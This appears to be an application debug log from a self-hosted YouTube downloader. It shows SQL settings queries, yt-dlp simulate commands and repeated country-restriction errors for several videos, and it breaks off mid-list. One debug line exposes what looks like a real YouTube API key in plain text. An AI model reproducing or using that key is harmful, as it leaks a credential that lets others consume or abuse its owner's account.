Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:57:00.988 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:57:00.989 [debug] QUERY OK source="settings" db=0.1ms idle=941.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:00.989 [debug] QUERY OK source="settings" db=0.0ms idle=110.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:00.989 [debug] Running yt-dlp command for action: get_media_attributes 16:57:00.991 [debug] QUERY OK source="settings" db=0.0ms idle=113.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:00.991 [debug] QUERY OK source="settings" db=0.0ms idle=113.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:00.991 [debug] QUERY OK source="settings" db=0.0ms idle=76.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:00.992 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7f/35/7f359c81995143118dbe84c418bf9d5dbf6d9bc4e4fa77b93ee25159d276df0d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:57:03.097 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7f/35/7f359c81995143118dbe84c418bf9d5dbf6d9bc4e4fa77b93ee25159d276df0d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:57:03.097 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:57:03.098 [debug] QUERY OK source="settings" db=0.1ms idle=219.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:03.098 [debug] QUERY OK source="settings" db=0.0ms idle=219.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:03.098 [debug] Running yt-dlp command for action: get_media_attributes 16:57:03.099 [debug] QUERY OK source="settings" db=0.0ms idle=220.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:03.099 [debug] QUERY OK source="settings" db=0.0ms idle=221.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:03.099 [debug] QUERY OK source="settings" db=0.0ms idle=181.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:03.099 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c7/e3/c7e39281b24b74cb3627cda624081562d237945197f0f7d36da92ec465e36b75.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:57:04.372 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c7/e3/c7e39281b24b74cb3627cda624081562d237945197f0f7d36da92ec465e36b75.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 16:57:04.372 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 16:57:04.373 [debug] QUERY OK source="settings" db=0.1ms idle=1274.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:04.373 [debug] QUERY OK source="settings" db=0.0ms idle=1273.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:04.373 [debug] Running yt-dlp command for action: get_media_attributes 16:57:04.377 [debug] QUERY OK source="settings" db=0.0ms idle=1277.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:04.377 [debug] QUERY OK source="settings" db=0.0ms idle=1277.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:04.377 [debug] QUERY OK source="settings" db=0.0ms idle=458.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:04.377 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/62/50/6250a8b3b4619521f471344c92d54ff5a7519621c050a8a889be34ead941a464.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:57:05.928 [info] {"args":{"id":42},"id":3800051,"meta":{},"system_time":1770764225928163025,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:05.928 [debug] QUERY OK source="sources" db=0.2ms idle=50.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 16:57:05.928 [debug] QUERY OK source="settings" db=0.1ms idle=50.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:05.929 [debug] QUERY OK source="media_profiles" db=0.1ms idle=50.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:05.930 [debug] QUERY OK source="settings" db=1.2ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:05.930 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 16:57:05.930 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:05.930 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:05.977 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/62/50/6250a8b3b4619521f471344c92d54ff5a7519621c050a8a889be34ead941a464.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, 